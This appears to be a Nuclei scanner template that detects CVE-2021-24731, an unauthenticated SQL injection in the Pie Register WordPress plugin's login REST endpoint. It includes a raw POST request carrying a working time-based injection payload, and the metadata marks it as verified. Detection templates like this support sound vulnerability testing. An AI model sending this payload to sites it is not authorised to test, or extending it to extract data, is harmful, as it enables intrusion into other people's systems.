The Registration Forms User profile, Content Restriction, Spam Protection, Payment Gateways, Invitation Codes WordPress plugin before 3.7.1.6 does not properly escape user data before using it in a SQL statement in the wp-json/pie/v1/login REST API endpoint, leading to an SQL injection.
id: CVE-2021-24731
info:
name: Pie Register < 3.7.1.6 - SQL Injection
author: theamanrawat
severity: critical
description: |
The Registration Forms User profile, Content Restriction, Spam Protection, Payment Gateways, Invitation Codes WordPress plugin before 3.7.1.6 does not properly escape user data before using it in a SQL statement in the wp-json/pie/v1/login REST API endpoint, leading to an SQL injection.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
remediation: Fixed in version 3.7.1.6
reference:
- https://wpscan.com/vulnerability/6bed00e4-b363-43b8-a392-d068d342151a
- https://wordpress.org/plugins/pie-register/
- https://nvd.nist.gov/vuln/detail/CVE-2021-24731
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2021-24731
cwe-id: CWE-89
epss-score: 0.06415
epss-percentile: 0.93337
cpe: cpe:2.3:a:genetechsolutions:pie_register:*:*:*:*:*:wordpress:*:*
metadata:
verified: "true"
max-request: 1
vendor: genetechsolutions
product: pie_register
framework: wordpress
tags: time-based-sqli,cve,cve2021,sqli,wpscan,wordpress,wp-plugin,wp,pie-register,unauth,genetechsolutions,vuln
http:
- raw:
- |
@timeout: 10s
POST /wp-json/pie/v1/login HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
user_login='+AND+(SELECT+8149+FROM+(SELECT(SLEEP(3)))NuqO)+AND+'YvuB'='YvuB&login_pass=a
matchers:
- type: dsl
dsl:
- 'duration>=6'
- 'status_code == 200'
- 'contains(content_type, "application/json")'
- 'contains(body, "User credentials are invalid.")'
condition: and
# digest: 4b0a00483046022100c213cb11cd9c407beb353a5103fc2a3ae7b719bf1e984a6fdad5df6efd2eb28d022100c0afe72b87482a14ff7a2b4b9619c348cf85226c9d1512d2f3bf6dfa3c1dd6fb:922c64590222798bb761d5b6d8e72950
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